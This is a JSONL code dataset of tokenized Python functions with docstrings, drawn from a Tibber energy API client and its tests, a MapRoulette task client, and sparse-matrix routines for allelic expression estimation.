{"signature": "async def rt_disconnect(self):", "body": "if self.sub_manager is None:<EOL><INDENT>return<EOL><DEDENT>await self.sub_manager.stop()<EOL>", "docstring": "Stop subscription manager.", "id": "f12605:c0:m4"}
{"signature": "async def execute(self, document, variable_values=None):", "body": "res = await self._execute(document, variable_values)<EOL>if res is None:<EOL><INDENT>return None<EOL><DEDENT>return res.get(\"<STR_LIT:data>\")<EOL>", "docstring": "Execute gql.", "id": "f12605:c0:m5"}
{"signature": "async def _execute(self, document, variable_values=None, retry=<NUM_LIT:2>):", "body": "query_str = print_ast(document)<EOL>payload = {\"<STR_LIT>\": query_str, \"<STR_LIT>\": variable_values or {}}<EOL>post_args = {<EOL>\"<STR_LIT>\": {\"<STR_LIT>\": \"<STR_LIT>\" + self._access_token},<EOL>\"<STR_LIT:data>\": payload,<EOL>}<EOL>try:<EOL><INDENT>with async_timeout.timeout(self._timeout):<EOL><INDENT>resp = await self.websession.post(API_ENDPOINT, **post_args)<EOL><DEDENT>if resp.status != <NUM_LIT:200>:<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\", resp.status)<EOL>return None<EOL><DEDENT>result = await resp.json()<EOL><DEDENT>except aiohttp.ClientError as err:<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\", err, exc_info=True)<EOL>if retry > <NUM_LIT:0>:<EOL><INDENT>return await self._execute(document, variable_values, retry - <NUM_LIT:1>)<EOL><DEDENT>raise<EOL><DEDENT>except asyncio.TimeoutError as err:<EOL><INDENT>_LOGGER.error(<EOL>\"<STR_LIT>\", err, exc_info=True<EOL>)<EOL>if retry > <NUM_LIT:0>:<EOL><INDENT>return await self._execute(document, variable_values, retry - <NUM_LIT:1>)<EOL><DEDENT>raise<EOL><DEDENT>errors = result.get(\"<STR_LIT>\")<EOL>if errors:<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\", errors)<EOL><DEDENT>return result<EOL>", "docstring": "Execute gql.", "id": "f12605:c0:m6"}
{"signature": "def sync_update_info(self, *_):", "body": "loop = asyncio.get_event_loop()<EOL>task = loop.create_task(self.update_info())<EOL>loop.run_until_complete(task)<EOL>", "docstring": "Update home info.", "id": "f12605:c0:m7"}
{"signature": "async def update_info(self, *_):", "body": "query = gql(<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>)<EOL>res = await self._execute(query)<EOL>if res is None:<EOL><INDENT>return<EOL><DEDENT>errors = res.get(\"<STR_LIT>\", [])<EOL>if errors:<EOL><INDENT>msg = errors[<NUM_LIT:0>].get(\"<STR_LIT:message>\", \"<STR_LIT>\")<EOL>_LOGGER.error(msg)<EOL>raise InvalidLogin(msg)<EOL><DEDENT>data = res.get(\"<STR_LIT:data>\")<EOL>if not data:<EOL><INDENT>return<EOL><DEDENT>viewer = data.get(\"<STR_LIT>\")<EOL>if not viewer:<EOL><INDENT>return<EOL><DEDENT>self._name = viewer.get(\"<STR_LIT:name>\")<EOL>homes = viewer.get(\"<STR_LIT>\", [])<EOL>self._home_ids = []<EOL>for _home in homes:<EOL><INDENT>home_id = _home.get(\"<STR_LIT:id>\")<EOL>self._all_home_ids += [home_id]<EOL>subs = _home.get(\"<STR_LIT>\")<EOL>if subs:<EOL><INDENT>status = subs[<NUM_LIT:0>].get(\"<STR_LIT:status>\", \"<STR_LIT>\").lower()<EOL>if not home_id or status != \"<STR_LIT>\":<EOL><INDENT>continue<EOL><DEDENT><DEDENT>self._home_ids += [home_id]<EOL><DEDENT>", "docstring": "Update home info async.", "id": "f12605:c0:m8"}
{"signature": "@property<EOL><INDENT>def name(self):<DEDENT>", "body": "return self._name<EOL>", "docstring": "Return name of user.", "id": "f12605:c0:m9"}
{"signature": "@property<EOL><INDENT>def home_ids(self):<DEDENT>", "body": "return self.get_home_ids(only_active=True)<EOL>", "docstring": "Return list of home ids.", "id": "f12605:c0:m10"}
{"signature": "def get_home_ids(self, only_active=True):", "body": "if only_active:<EOL><INDENT>return self._home_ids<EOL><DEDENT>return self._all_home_ids<EOL>", "docstring": "Return list of home ids.", "id": "f12605:c0:m11"}
{"signature": "def get_homes(self, only_active=True):", "body": "return [self.get_home(home_id) for home_id in self.get_home_ids(only_active)]<EOL>", "docstring": "Return list of Tibber homes.", "id": "f12605:c0:m12"}
{"signature": "def get_home(self, home_id):", "body": "if home_id not in self._all_home_ids:<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\", home_id)<EOL>return None<EOL><DEDENT>if home_id not in self._homes.keys():<EOL><INDENT>self._homes[home_id] = TibberHome(home_id, self)<EOL><DEDENT>return self._homes[home_id]<EOL>", "docstring": "Retun an instance of TibberHome for given home id.", "id": "f12605:c0:m13"}
{"signature": "async def send_notification(self, title, message):", "body": "query = gql(<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>% (title, message)<EOL>)<EOL>res = await self.execute(query)<EOL>if not res:<EOL><INDENT>return False<EOL><DEDENT>noti = res.get(\"<STR_LIT>\", {})<EOL>successful = noti.get(\"<STR_LIT>\", False)<EOL>pushed_to_number_of_devices = noti.get(\"<STR_LIT>\", <NUM_LIT:0>)<EOL>_LOGGER.debug(<EOL>\"<STR_LIT>\",<EOL>successful,<EOL>pushed_to_number_of_devices,<EOL>)<EOL>return successful<EOL>", "docstring": "Send notification.", "id": "f12605:c0:m14"}
{"signature": "def __init__(self, home_id, tibber_control):", "body": "self._tibber_control = tibber_control<EOL>self._home_id = home_id<EOL>self._current_price_total = None<EOL>self._current_price_info = {}<EOL>self._price_info = {}<EOL>self._level_info = {}<EOL>self.sub_manager = None<EOL>self.info = {}<EOL>self._subscription_id = None<EOL>self._data = None<EOL>", "docstring": "Initialize the Tibber home class.", "id": "f12605:c1:m0"}
{"signature": "def sync_update_info(self):", "body": "loop = asyncio.get_event_loop()<EOL>task = loop.create_task(self.update_info())<EOL>loop.run_until_complete(task)<EOL>", "docstring": "Update current price info.", "id": "f12605:c1:m1"}
{"signature": "async def update_info(self):", "body": "query = gql(<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>% self._home_id<EOL>)<EOL>self.info = await self._tibber_control.execute(query)<EOL>", "docstring": "Update current price info async.", "id": "f12605:c1:m2"}
{"signature": "def sync_update_current_price_info(self):", "body": "loop = asyncio.get_event_loop()<EOL>task = loop.create_task(self.update_current_price_info())<EOL>loop.run_until_complete(task)<EOL>", "docstring": "Update current price info.", "id": "f12605:c1:m3"}
{"signature": "async def update_current_price_info(self):", "body": "query = gql(<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>% self.home_id<EOL>)<EOL>price_info_temp = await self._tibber_control.execute(query)<EOL>if not price_info_temp:<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>try:<EOL><INDENT>home = price_info_temp[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>current_subscription = home[\"<STR_LIT>\"]<EOL>price_info = current_subscription[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL><DEDENT>except (KeyError, TypeError):<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>if price_info:<EOL><INDENT>self._current_price_info = price_info<EOL><DEDENT>", "docstring": "Update current price info async.", "id": "f12605:c1:m4"}
{"signature": "def sync_update_price_info(self):", "body": "loop = asyncio.get_event_loop()<EOL>task = loop.create_task(self.update_price_info())<EOL>loop.run_until_complete(task)<EOL>", "docstring": "Update current price info.", "id": "f12605:c1:m5"}
{"signature": "async def update_price_info(self):", "body": "query = gql(<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>% self.home_id<EOL>)<EOL>price_info_temp = await self._tibber_control.execute(query)<EOL>if not price_info_temp:<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>self._price_info = {}<EOL>self._level_info = {}<EOL>for key in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>try:<EOL><INDENT>home = price_info_temp[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>current_subscription = home[\"<STR_LIT>\"]<EOL>price_info = current_subscription[\"<STR_LIT>\"][key]<EOL><DEDENT>except (KeyError, TypeError):<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\", key)<EOL>continue<EOL><DEDENT>if key == \"<STR_LIT>\":<EOL><INDENT>self._current_price_info = price_info<EOL>continue<EOL><DEDENT>for data in price_info:<EOL><INDENT>self._price_info[data.get(\"<STR_LIT>\")] = data.get(\"<STR_LIT>\")<EOL>self._level_info[data.get(\"<STR_LIT>\")] = data.get(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Update price info async.", "id": "f12605:c1:m6"}
{"signature": "@property<EOL><INDENT>def current_price_total(self):<DEDENT>", "body": "if not self._current_price_info:<EOL><INDENT>return None<EOL><DEDENT>return self._current_price_info.get(\"<STR_LIT>\")<EOL>", "docstring": "Get current price total.", "id": "f12605:c1:m7"}
{"signature": "@property<EOL><INDENT>def current_price_info(self):<DEDENT>", "body": "return self._current_price_info<EOL>", "docstring": "Get current price info.", "id": "f12605:c1:m8"}
{"signature": "@property<EOL><INDENT>def price_total(self):<DEDENT>", "body": "return self._price_info<EOL>", "docstring": "Get dictionary with price total, key is date-time.", "id": "f12605:c1:m9"}
{"signature": "@property<EOL><INDENT>def price_level(self):<DEDENT>", "body": "return self._level_info<EOL>", "docstring": "Get dictionary with price level, key is date-time.", "id": "f12605:c1:m10"}
{"signature": "@property<EOL><INDENT>def home_id(self):<DEDENT>", "body": "return self._home_id<EOL>", "docstring": "Return home id.", "id": "f12605:c1:m11"}
{"signature": "@property<EOL><INDENT>def has_active_subscription(self):<DEDENT>", "body": "try:<EOL><INDENT>sub = self.info[\"<STR_LIT>\"][\"<STR_LIT>\"][\"<STR_LIT>\"][\"<STR_LIT:status>\"]<EOL><DEDENT>except (KeyError, TypeError):<EOL><INDENT>return False<EOL><DEDENT>return sub == \"<STR_LIT>\"<EOL>", "docstring": "Return home id.", "id": "f12605:c1:m12"}
{"signature": "@property<EOL><INDENT>def has_real_time_consumption(self):<DEDENT>", "body": "try:<EOL><INDENT>return self.info[\"<STR_LIT>\"][\"<STR_LIT>\"][\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL><DEDENT>except (KeyError, TypeError):<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Return home id.", "id": "f12605:c1:m13"}
{"signature": "@property<EOL><INDENT>def address1(self):<DEDENT>", "body": "try:<EOL><INDENT>return self.info[\"<STR_LIT>\"][\"<STR_LIT>\"][\"<STR_LIT:address>\"][\"<STR_LIT>\"]<EOL><DEDENT>except (KeyError, TypeError):<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\")<EOL><DEDENT>return \"<STR_LIT>\"<EOL>", "docstring": "Return the home adress1.", "id": "f12605:c1:m14"}
{"signature": "@property<EOL><INDENT>def consumption_unit(self):<DEDENT>", "body": "return \"<STR_LIT>\"<EOL>", "docstring": "Return the consumption.", "id": "f12605:c1:m15"}
{"signature": "@property<EOL><INDENT>def currency(self):<DEDENT>", "body": "try:<EOL><INDENT>current_subscription = self.info[\"<STR_LIT>\"][\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>return current_subscription[\"<STR_LIT>\"][\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL><DEDENT>except (KeyError, TypeError, IndexError):<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\")<EOL><DEDENT>return \"<STR_LIT>\"<EOL>", "docstring": "Return the currency.", "id": "f12605:c1:m16"}
{"signature": "@property<EOL><INDENT>def country(self):<DEDENT>", "body": "try:<EOL><INDENT>return self.info[\"<STR_LIT>\"][\"<STR_LIT>\"][\"<STR_LIT:address>\"][\"<STR_LIT>\"]<EOL><DEDENT>except (KeyError, TypeError):<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\")<EOL><DEDENT>return \"<STR_LIT>\"<EOL>", "docstring": "Return the country.", "id": "f12605:c1:m17"}
{"signature": "@property<EOL><INDENT>def price_unit(self):<DEDENT>", "body": "currency = self.currency<EOL>consumption_unit = self.consumption_unit<EOL>if not currency or not consumption_unit:<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\")<EOL>return \"<STR_LIT:U+0020>\"<EOL><DEDENT>return currency + \"<STR_LIT:/>\" + consumption_unit<EOL>", "docstring": "Return the price unit.", "id": "f12605:c1:m18"}
{"signature": "async def rt_subscribe(self, loop, async_callback):", "body": "if self._subscription_id is not None:<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>await self._tibber_control.rt_connect(loop)<EOL>document = gql(<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>% self.home_id<EOL>)<EOL>sub_query = print_ast(document)<EOL>self._subscription_id = await self._tibber_control.sub_manager.subscribe(<EOL>sub_query, async_callback<EOL>)<EOL>", "docstring": "Connect to Tibber and subscribe to Tibber rt subscription.", "id": "f12605:c1:m19"}
{"signature": "async def rt_unsubscribe(self):", "body": "if self._subscription_id is None:<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>await self._tibber_control.sub_manager.unsubscribe(self._subscription_id)<EOL>", "docstring": "Unsubscribe to Tibber rt subscription.", "id": "f12605:c1:m20"}
{"signature": "@property<EOL><INDENT>def rt_subscription_running(self):<DEDENT>", "body": "return (<EOL>self._tibber_control.sub_manager is not None<EOL>and self._tibber_control.sub_manager.is_running<EOL>and self._subscription_id is not None<EOL>)<EOL>", "docstring": "Is real time subscription running.", "id": "f12605:c1:m21"}
{"signature": "async def get_historic_data(self, n_data):", "body": "query = gql(<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>% (self.home_id, n_data)<EOL>)<EOL>data = await self._tibber_control.execute(query)<EOL>if not data:<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>data = data[\"<STR_LIT>\"][\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>if data is None:<EOL><INDENT>self._data = []<EOL>return<EOL><DEDENT>self._data = data[\"<STR_LIT>\"]<EOL>", "docstring": "Get historic data.", "id": "f12605:c1:m22"}
{"signature": "def sync_get_historic_data(self, n_data):", "body": "loop = asyncio.get_event_loop()<EOL>task = loop.create_task(self.get_historic_data(n_data))<EOL>loop.run_until_complete(task)<EOL>return self._data<EOL>", "docstring": "get_historic_data.", "id": "f12605:c1:m23"}
{"signature": "def setUp(self):     ", "body": "self.tibber = tibber.Tibber()<EOL>self.tibber.sync_update_info()<EOL>", "docstring": "things to be run when tests are started.", "id": "f12606:c0:m0"}
{"signature": "def tearDown(self):  ", "body": "self.tibber.sync_close_connection()<EOL>", "docstring": "Stop stuff we started.", "id": "f12606:c0:m1"}
{"signature": "def setUp(self):  ", "body": "async def _create_session():<EOL><INDENT>return aiohttp.ClientSession()<EOL><DEDENT>loop = asyncio.get_event_loop()<EOL>self.websession = loop.run_until_complete(_create_session())<EOL>self.tibber = tibber.Tibber(websession=self.websession)<EOL>self.tibber.sync_update_info()<EOL>", "docstring": "things to be run when tests are started.", "id": "f12606:c1:m0"}
{"signature": "def tearDown(self):  ", "body": "self.tibber.sync_close_connection()<EOL>", "docstring": "Stop stuff we started.", "id": "f12606:c1:m1"}
{"signature": "def setUp(self):     ", "body": "self.tibber = tibber.Tibber(access_token='<STR_LIT>')        <EOL>self.assertRaises(tibber.InvalidLogin, self.tibber.sync_update_info)<EOL>", "docstring": "things to be run when tests are started.", "id": "f12606:c2:m0"}
{"signature": "def tearDown(self):  ", "body": "self.tibber.sync_close_connection()<EOL>", "docstring": "Stop stuff we started.", "id": "f12606:c2:m1"}
{"signature": "def setUp(self):     ", "body": "self.tibber = tibber.Tibber(access_token='<STR_LIT>')<EOL>self.tibber.sync_update_info()<EOL>", "docstring": "things to be run when tests are started.", "id": "f12606:c3:m0"}
{"signature": "def tearDown(self):  ", "body": "self.tibber.sync_close_connection()<EOL>", "docstring": "Stop stuff we started.", "id": "f12606:c3:m1"}
{"signature": "def create(self, server):", "body": "if len(self.geometries) == <NUM_LIT:0>:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return server.post(<EOL>'<STR_LIT>',<EOL>self.as_payload(),<EOL>replacements={<EOL>'<STR_LIT>': self.__challenge__.slug,<EOL>'<STR_LIT>': self.identifier})<EOL>", "docstring": "Create the task on the server", "id": "f12608:c0:m1"}
{"signature": "def update(self, server):", "body": "return server.put(<EOL>'<STR_LIT>',<EOL>self.as_payload(),<EOL>replacements={<EOL>'<STR_LIT>': self.__challenge__.slug,<EOL>'<STR_LIT>': self.identifier})<EOL>", "docstring": "Update existing task on the server", "id": "f12608:c0:m2"}
{"signature": "def exists(self, server):", "body": "try:<EOL><INDENT>server.get(<EOL>'<STR_LIT>',<EOL>replacements={<EOL>'<STR_LIT>': self.__challenge__.slug,<EOL>'<STR_LIT>': self.identifier})<EOL><DEDENT>except Exception:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Check if a task exists on the server", "id": "f12608:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>def from_server(cls, server, slug, identifier):<DEDENT>", "body": "task = server.get(<EOL>'<STR_LIT>',<EOL>replacements={<EOL>'<STR_LIT>': slug,<EOL>'<STR_LIT>': identifier})<EOL>return cls(**task)<EOL>", "docstring": "Retrieve a task from the server", "id": "f12608:c0:m6"}
{"signature": "@classmethod<EOL><INDENT>def from_payload(cls, payload):<DEDENT>", "body": "return cls(**payload)<EOL>", "docstring": "Create a task from JSON", "id": "f12608:c0:m7"}
{"signature": "def create(self, server):", "body": "return server.post(<EOL>'<STR_LIT>',<EOL>self.as_payload(),<EOL>replacements={'<STR_LIT>': self.slug})<EOL>", "docstring": "Create the challenge on the server", "id": "f12611:c0:m1"}
{"signature": "def update(self, server):", "body": "return server.put(<EOL>'<STR_LIT>',<EOL>self.as_payload(),<EOL>replacements={'<STR_LIT>': self.slug})<EOL>", "docstring": "Update existing challenge on the server", "id": "f12611:c0:m2"}
{"signature": "def exists(self, server):", "body": "try:<EOL><INDENT>server.get(<EOL>'<STR_LIT>',<EOL>replacements={'<STR_LIT>': self.slug})<EOL><DEDENT>except Exception:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Check if a challenge exists on the server", "id": "f12611:c0:m4"}
{"signature": "@classmethod<EOL><INDENT>def from_server(cls, server, slug):<DEDENT>", "body": "challenge = server.get(<EOL>'<STR_LIT>',<EOL>replacements={'<STR_LIT>': slug})<EOL>return cls(<EOL>**challenge)<EOL>", "docstring": "Retrieve a challenge from the MapRoulette server\n        :type server", "id": "f12611:c0:m6"}
{"signature": "def create(self, server):", "body": "for chunk in self.__cut_to_size():<EOL><INDENT>server.post(<EOL>'<STR_LIT>',<EOL>chunk.as_payload(),<EOL>replacements={<EOL>'<STR_LIT>': chunk.challenge.slug})<EOL><DEDENT>", "docstring": "Create the tasks on the server", "id": "f12612:c0:m1"}
{"signature": "def update(self, server):", "body": "for chunk in self.__cut_to_size():<EOL><INDENT>server.put(<EOL>'<STR_LIT>',<EOL>chunk.as_payload(),<EOL>replacements={<EOL>'<STR_LIT>': chunk.challenge.slug})<EOL><DEDENT>", "docstring": "Update existing tasks on the server", "id": "f12612:c0:m2"}
{"signature": "def reconcile(self, server):", "body": "if not self.challenge.exists(server):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>existing = MapRouletteTaskCollection.from_server(server, self.challenge)<EOL>same = []<EOL>new = []<EOL>changed = []<EOL>deleted = []<EOL>for task in self.tasks:<EOL><INDENT>if task.identifier in [existing_task.identifier for existing_task in existing.tasks]:<EOL><INDENT>if task == existing.get_by_identifier(task.identifier):<EOL><INDENT>same.append(task)<EOL><DEDENT>else:<EOL><INDENT>changed.append(task)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>new.append(task)<EOL><DEDENT><DEDENT>for task in existing.tasks:<EOL><INDENT>if task.identifier not in [task.identifier for task in self.tasks]:<EOL><INDENT>deleted.append(task)<EOL><DEDENT><DEDENT>if new:<EOL><INDENT>newCollection = MapRouletteTaskCollection(self.challenge, tasks=new)<EOL>newCollection.create(server)<EOL><DEDENT>if changed:<EOL><INDENT>changedCollection = MapRouletteTaskCollection(self.challenge, tasks=changed)<EOL>changedCollection.update(server)<EOL><DEDENT>if deleted:<EOL><INDENT>deletedCollection = MapRouletteTaskCollection(self.challenge, tasks=deleted)<EOL>for task in deletedCollection.tasks:<EOL><INDENT>task.status = '<STR_LIT>'<EOL><DEDENT>deletedCollection.update(server)<EOL><DEDENT>return {'<STR_LIT>': same, '<STR_LIT>': new, '<STR_LIT>': changed, '<STR_LIT>': deleted}<EOL>", "docstring": "Reconcile this collection with the server.", "id": "f12612:c0:m3"}
{"signature": "def add(self, task):", "body": "self.tasks.append(task)<EOL>", "docstring": "Add task colleciton to the Collection.", "id": "f12612:c0:m4"}
{"signature": "def __create_task_collection(self, challenge):", "body": "task_collection = MapRouletteTaskCollection(challenge)<EOL>i = <NUM_LIT:0><EOL>while i < self.A_TON:<EOL><INDENT>i += <NUM_LIT:1><EOL>task_collection.tasks.append(<EOL>MapRouletteTask(<EOL>challenge=challenge,<EOL>identifier='<STR_LIT>'.format(uuid.uuid4()),<EOL>geometries=self.__random_point()))<EOL><DEDENT>return task_collection<EOL>", "docstring": "Return a collection of A_TON of tasks with random Point geometries", "id": "f12615:c0:m12"}
{"signature": "def add(self, addend_mat, axis=<NUM_LIT:1>):", "body": "if self.finalized:<EOL><INDENT>if axis == <NUM_LIT:0>:<EOL><INDENT>raise NotImplementedError('<STR_LIT>')<EOL><DEDENT>elif axis == <NUM_LIT:1>:<EOL><INDENT>for hid in xrange(self.shape[<NUM_LIT:1>]):<EOL><INDENT>self.data[hid] = self.data[hid] + addend_mat<EOL><DEDENT><DEDENT>elif axis == <NUM_LIT:2>:<EOL><INDENT>raise NotImplementedError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "In-place addition\n\n:param addend_mat: A matrix to be added on the Sparse3DMatrix object\n:param axis: The dimension along the addend_mat is added\n:return: Nothing (as it performs in-place operations)", "id": "f12617:c0:m12"}
{"signature": "def multiply(self, multiplier, axis=None):", "body": "if self.finalized:<EOL><INDENT>if multiplier.ndim == <NUM_LIT:1>:<EOL><INDENT>if axis == <NUM_LIT:0>:  <EOL><INDENT>raise NotImplementedError('<STR_LIT>')<EOL><DEDENT>elif axis == <NUM_LIT:1>:  <EOL><INDENT>sz = len(multiplier)<EOL>multiplier_mat = lil_matrix((sz, sz))<EOL>multiplier_mat.setdiag(multiplier)<EOL>for hid in xrange(self.shape[<NUM_LIT:1>]):<EOL><INDENT>self.data[hid] = self.data[hid] * multiplier_mat<EOL><DEDENT><DEDENT>elif axis == <NUM_LIT:2>:  <EOL><INDENT>for hid in xrange(self.shape[<NUM_LIT:1>]):<EOL><INDENT>self.data[hid].data *= multiplier[self.data[hid].indices]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT><DEDENT>elif multiplier.ndim == <NUM_LIT:2>:<EOL><INDENT>if axis == <NUM_LIT:0>:  <EOL><INDENT>for hid in xrange(self.shape[<NUM_LIT:1>]):<EOL><INDENT>self.data[hid].data *= multiplier[self.data[hid].indices, hid]<EOL><DEDENT><DEDENT>elif axis == <NUM_LIT:1>:  <EOL><INDENT>for hid in xrange(self.shape[<NUM_LIT:1>]):<EOL><INDENT>self.data[hid] = self.data[hid].multiply(multiplier)<EOL><DEDENT><DEDENT>elif axis == <NUM_LIT:2>:  <EOL><INDENT>for hid in xrange(self.shape[<NUM_LIT:1>]):<EOL><INDENT>multiplier_vec = multiplier[hid, :]<EOL>multiplier_vec = multiplier_vec.ravel()<EOL>self.data[hid].data *= multiplier_vec.repeat(np.diff(self.data[hid].indptr))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT><DEDENT>elif isinstance(multiplier, Sparse3DMatrix):  <EOL><INDENT>for hid in xrange(self.shape[<NUM_LIT:1>]):<EOL><INDENT>self.data[hid] = self.data[hid].multiply(multiplier.data[hid])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "In-place multiplication\n\n:param multiplier: A matrix or vector to be multiplied\n:param axis: The dim along which 'multiplier' is multiplied\n:return: Nothing (as it performs in-place operations)", "id": "f12617:c0:m13"}
{"signature": "def prepare(self, pseudocount=<NUM_LIT:0.0>, lenfile=None, read_length=<NUM_LIT:100>):", "body": "if self.probability.num_groups > <NUM_LIT:0>:<EOL><INDENT>self.grp_conv_mat = lil_matrix((self.probability.num_loci, self.probability.num_groups))<EOL>for i in range(self.probability.num_groups):<EOL><INDENT>self.grp_conv_mat[self.probability.groups[i], i] = <NUM_LIT:1.0><EOL><DEDENT>self.grp_conv_mat = self.grp_conv_mat.tocsc()<EOL>self.t2t_mat = eye(self.probability.num_loci, self.probability.num_loci)<EOL>self.t2t_mat = self.t2t_mat.tolil()<EOL>for tid_list in self.probability.groups:<EOL><INDENT>for ii in range(len(tid_list)):<EOL><INDENT>for jj in range(ii):<EOL><INDENT>i = tid_list[ii]<EOL>j = tid_list[jj]<EOL>self.t2t_mat[i, j] = <NUM_LIT:1><EOL>self.t2t_mat[j, i] = <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>self.t2t_mat = self.t2t_mat.tocsc()<EOL><DEDENT>if lenfile is not None:<EOL><INDENT>hid = dict(list(zip(self.probability.hname, np.arange(len(self.probability.hname)))))<EOL>self.target_lengths = np.zeros((self.probability.num_loci, self.probability.num_haplotypes))<EOL>if self.probability.num_haplotypes > <NUM_LIT:1>:<EOL><INDENT>with open(lenfile) as fh:<EOL><INDENT>for curline in fh:<EOL><INDENT>item = curline.rstrip().split(\"<STR_LIT:\\t>\")<EOL>locus, hap = item[<NUM_LIT:0>].split(\"<STR_LIT:_>\")<EOL>self.target_lengths[self.probability.lid[locus], hid[hap]] = max(float(item[<NUM_LIT:1>]) - read_length + <NUM_LIT:1.0>, <NUM_LIT:1.0>)<EOL><DEDENT><DEDENT><DEDENT>elif self.probability.num_haplotypes > <NUM_LIT:0>:<EOL><INDENT>with open(lenfile) as fh:<EOL><INDENT>for curline in fh:<EOL><INDENT>item = curline.rstrip().split(\"<STR_LIT:\\t>\")<EOL>self.target_lengths[self.probability.lid[item[<NUM_LIT:0>]], <NUM_LIT:0>] = max(float(item[<NUM_LIT:1>]) - read_length + <NUM_LIT:1.0>, <NUM_LIT:1.0>)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>self.target_lengths = self.target_lengths.transpose()<EOL>if not np.all(self.target_lengths > <NUM_LIT:0.0>):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT><DEDENT>self.probability.normalize_reads(axis=APM.Axis.READ)  <EOL>self.allelic_expression = self.probability.sum(axis=APM.Axis.READ)<EOL>if self.target_lengths is not None:  <EOL><INDENT>self.allelic_expression = np.divide(self.allelic_expression, self.target_lengths)<EOL><DEDENT>if pseudocount > <NUM_LIT:0.0>:  <EOL><INDENT>orig_allelic_expression_sum = self.allelic_expression.sum()<EOL>nzloci = np.nonzero(self.allelic_expression)[<NUM_LIT:1>]<EOL>self.allelic_expression[:, nzloci] += pseudocount<EOL>self.allelic_expression *= (orig_allelic_expression_sum / self.allelic_expression.sum())<EOL><DEDENT>", "docstring": "Initializes the probability of read origin according to the alignment profile\n\n:param pseudocount: Uniform prior for allele specificity estimation\n:return: Nothing (as it performs an in-place operations)", "id": "f12618:c0:m1"}
{"signature": "def reset(self, pseudocount=<NUM_LIT:0.0>):", "body": "self.probability.reset()<EOL>self.probability.normalize_reads(axis=APM.Axis.READ)  <EOL>self.allelic_expression = self.probability.sum(axis=APM.Axis.READ)<EOL>if self.target_lengths is not None:  <EOL><INDENT>self.allelic_expression = np.divide(self.allelic_expression, self.target_lengths)<EOL><DEDENT>if pseudocount > <NUM_LIT:0.0>:  <EOL><INDENT>orig_allelic_expression_sum = self.allelic_expression.sum()<EOL>nzloci = np.nonzero(self.allelic_expression)[<NUM_LIT:1>]<EOL>self.allelic_expression[:, nzloci] += pseudocount<EOL>self.allelic_expression *= (orig_allelic_expression_sum / self.allelic_expression.sum())<EOL><DEDENT>", "docstring": "Initializes the probability of read origin according to the alignment profile\n\n:param pseudocount: Uniform prior for allele specificity estimation\n:return: Nothing (as it performs an in-place operations)", "id": "f12618:c0:m2"}
